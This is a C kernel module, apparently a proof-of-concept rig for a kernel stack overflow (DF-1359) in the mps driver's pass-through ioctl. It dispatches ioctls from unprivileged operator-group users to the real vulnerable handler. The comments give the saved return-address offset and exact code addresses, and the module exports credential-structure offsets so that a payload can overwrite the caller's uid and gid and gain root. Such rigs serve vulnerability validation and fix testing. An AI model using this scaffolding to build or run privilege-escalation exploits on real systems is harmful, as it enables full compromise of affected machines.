DF-1359 / df1359rig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 | /* * DF-1359 verification rig (pass 3) -- dispatches the REAL production * mps ioctl handler against a fabricated softc. Mirror of the proven * DF-1326 (mpr) rig, re-derived for the mps twin from the shipped * kernel binary (md5 4625046e8061b34e1758d291bc6cad18): * * mps_ioctl_devsw @ 0xffffffff805b16d0 (static devsw wrapper, * mps_ioctl inlined) * mps_user_pass_thru@ 0xffffffff805b0be0 (NOT inlined in mps) * +0x7b lea -0x3c(%rbp),%rsi ; call copyin <- tmphdr, rbp-0x3c * +0x62d lea -0x28(%rbp),%rsp ; pop rbx,r12,r13,r14,r15,rbp ; ret * -> saved RIP at &tmphdr + 0x44 * * mps_softc field offsets touched by the compiled prologue (proven by * the disassembly above, NOT guessed from headers): * +0x000 mps_dev (device_t; ENOMEM path device_printf) * +0x010 mps_flags (MPS_FLAGS_BUSY = 1<<2) * +0x014 mps_debug (MPS_INFO gate of mps_dprint) * +0x0d0 mps command free-list head (NULL -> ENOMEM path) * +0x148 facts POINTER (the mps bounds check dereferences * sc->facts->IOCRequestFrameSize -- U16 at facts+0x24; * 32*4 = 128 == the mpr twin's reqframesz bound) * +0x190 mps_lock (struct lock) * * The rig creates /dev/df1359rig with the EXACT ownership make_dev() * gives /dev/mpsN in mps_attach_user() (mps_user.c:188): * UID_ROOT, GID_OPERATOR, 0640 * and forwards every ioctl VERBATIM to the production handler after * byte-verifying its prologue AND the vulnerable copyin site. * * The rig stands in ONLY for what this QEMU guest cannot provide: an * LSI Fusion-MPT PCI controller for mps_attach(). Everything from * dev_dioctl() down -- devfs dispatch, ioctl marshalling, the ioctl * switch, mps_user_pass_thru, copyin() -- is production code executing * from the shipped kernel image. * * Only root can kldload/prime the rig; the trigger runs as an * unprivileged operator-group user (uid=2 gid=5), exactly like the * real /dev/mpsN attack on hardware. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/malloc.h> #include <sys/lock.h> #include <sys/sysctl.h> #include <sys/proc.h> #include <sys/ucred.h> #include <sys/globaldata.h> #include <sys/thread.h> #include <sys/types.h> static d_open_t rig_open; static d_close_t rig_close; static d_ioctl_t rig_ioctl; static struct dev_ops rig_ops = { { "df1359rig", 0, D_MPSAFE }, .d_open = rig_open, .d_close = rig_close, .d_ioctl = rig_ioctl, }; static unsigned long rig_target; /* runtime addr of mps_ioctl_devsw */ static int rig_vulncheck = 1; /* require the vulnerable copy-site * bytes (set 0 only to validate the * PATCHED kernel through the same * dispatch path) */ static void *rig_sc; /* fabricated mps_softc */ static void *rig_facts; /* fabricated MPI2_IOC_FACTS_REPLY */ static void *rig_fake_dev; /* fabricated device_t (sc->mps_dev) */ static struct cdev *rig_cdev; SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_target, CTLFLAG_RW, &rig_target, 0, "runtime address of production mps_ioctl_devsw (prime as root)"); SYSCTL_INT(_kern, OID_AUTO, df1359rig_vulncheck, CTLFLAG_RW, &rig_vulncheck, 0, "require vulnerable copyin-site bytes (0 only for fix validation)"); /* * Offsets the unprivileged payload builder needs. No KASLR on this * build, so they are stable across boots; an attacker derives them * from the same world-readable /boot/kernel/kernel. */ static unsigned long o_gd_curthread = offsetof(struct globaldata, gd_curthread); static unsigned long o_td_proc = offsetof(struct thread, td_proc); static unsigned long o_p_ucred = offsetof(struct proc, p_ucred); static unsigned long o_cr_uid = offsetof(struct ucred, cr_uid); static unsigned long o_cr_ruid = offsetof(struct ucred, cr_ruid); static unsigned long o_cr_svuid = offsetof(struct ucred, cr_svuid); static unsigned long o_cr_groups = offsetof(struct ucred, cr_groups); static unsigned long o_cr_rgid = offsetof(struct ucred, cr_rgid); static unsigned long o_cr_svgid = offsetof(struct ucred, cr_svgid); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_gd_curthread, CTLFLAG_RD, &o_gd_curthread, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_td_proc, CTLFLAG_RD, &o_td_proc, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_p_ucred, CTLFLAG_RD, &o_p_ucred, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_uid, CTLFLAG_RD, &o_cr_uid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_ruid, CTLFLAG_RD, &o_cr_ruid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_svuid, CTLFLAG_RD, &o_cr_svuid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_groups, CTLFLAG_RD, &o_cr_groups, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_rgid, CTLFLAG_RD, &o_cr_rgid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1359rig_o_cr_svgid, CTLFLAG_RD, &o_cr_svgid, 0, ""); static int rig_open(struct dev_open_args *ap) { return (0); } static int rig_close(struct dev_close_args *ap) { return (0); } static int rig_ioctl(struct dev_ioctl_args *ap) { int (*fn)(struct dev_ioctl_args *); /* first 16 bytes of mps_ioctl_devsw in the shipped kernel */ static const uint8_t prologue[16] = { 0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x48, 0x81, 0xec }; /* * The vulnerable copyin site itself, mps_user_pass_thru+0x7b * (0xffffffff805b0c5b): lea -0x3c(%rbp),%rsi ; call copyin */ static const uint8_t copysite[8] = { 0x48, 0x8d, 0x75, 0xc4, 0xe8, 0xac, 0xa2, 0x62 }; const unsigned long user_pass_thru = 0xffffffff805b0be0UL; if (rig_target == 0) { kprintf("df1359rig: target not primed (kern.df1359rig_target)" "\n"); return (ENXIO); } if (memcmp((const void *)rig_target, prologue, sizeof(prologue)) != 0) { kprintf("df1359rig: REFUSING dispatch - prologue mismatch at " "%p\n", (void *)rig_target); return (ENXIO); } if (rig_vulncheck && memcmp((const void *)(user_pass_thru + 0x7b), copysite, sizeof(copysite)) != 0) { kprintf("df1359rig: REFUSING dispatch - copyin site mismatch " "at %p (vulnerable code not present; set " "kern.df1359rig_vulncheck=0 ONLY for fix validation)\n", (const void *)(user_pass_thru + 0x7b)); return (ENXIO); } kprintf("df1359rig: dispatch REAL mps_ioctl_devsw @ %p cmd=%#lx " "data=%p\n", (void *)rig_target, ap->a_cmd, ap->a_data); fn = (int (*)(struct dev_ioctl_args *))rig_target; return (fn(ap)); } static int df1359rig_handler(struct module *m, int what, void *arg) { int err = 0; switch (what) { case MOD_LOAD: rig_sc = kmalloc(0x600, M_DEVBUF, M_WAITOK | M_ZERO); rig_facts = kmalloc(0x40, M_DEVBUF, M_WAITOK | M_ZERO); rig_fake_dev = kmalloc(0x200, M_DEVBUF, M_WAITOK | M_ZERO); if (rig_sc == NULL || rig_facts == NULL || rig_fake_dev == NULL) return (ENOMEM); /* * sc->facts (offset +0x148, from disasm of the compiled * check at mps_user_pass_thru+0x8f) -> IOCRequestFrameSize * (U16 at facts+0x24) = 32, so the post-hoc bound is * 32*4 = 128 -- identical to the mpr twin's reqframesz. */ *(void **)((uint8_t *)rig_sc + 0x148) = rig_facts; *(uint16_t *)((uint8_t *)rig_facts + 0x24) = 32; /* sc->mps_dev (offset 0): zeroed fake device_t; device_printf * on it is survivable (NULL devclass -> "unknown: "), as * proven live by the DF-1326 twin on this same kernel. */ *(void **)rig_sc = rig_fake_dev; lockinit((struct lock *)((uint8_t *)rig_sc + 0x190), "df1359rig_lk", 0, 0); rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_OPERATOR, 0640, "df1359rig"); if (rig_cdev == NULL) { kfree(rig_sc, M_DEVBUF); rig_sc = NULL; return (ENOMEM); } rig_cdev->si_drv1 = rig_sc; kprintf("df1359rig: loaded; fake sc=%p facts=%p " "(IOCRequestFrameSize@+0x24=32); /dev/df1359rig " "0640 root:operator; gd_curthread@+%lu td_proc@+%lu " "p_ucred@+%lu cr_uid@+%lu\n", rig_sc, rig_facts, o_gd_curthread, o_td_proc, o_p_ucred, o_cr_uid); break; case MOD_UNLOAD: if (rig_cdev != NULL) destroy_dev(rig_cdev); if (rig_sc != NULL) kfree(rig_sc, M_DEVBUF); if (rig_facts != NULL) kfree(rig_facts, M_DEVBUF); if (rig_fake_dev != NULL) kfree(rig_fake_dev, M_DEVBUF); kprintf("df1359rig: unloaded\n"); break; default: err = EOPNOTSUPP; break; } return (err); } static moduledata_t df1359rig_mod = { "df1359rig", df1359rig_handler, NULL }; DECLARE_MODULE(df1359rig, df1359rig_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df1359rig, 1); |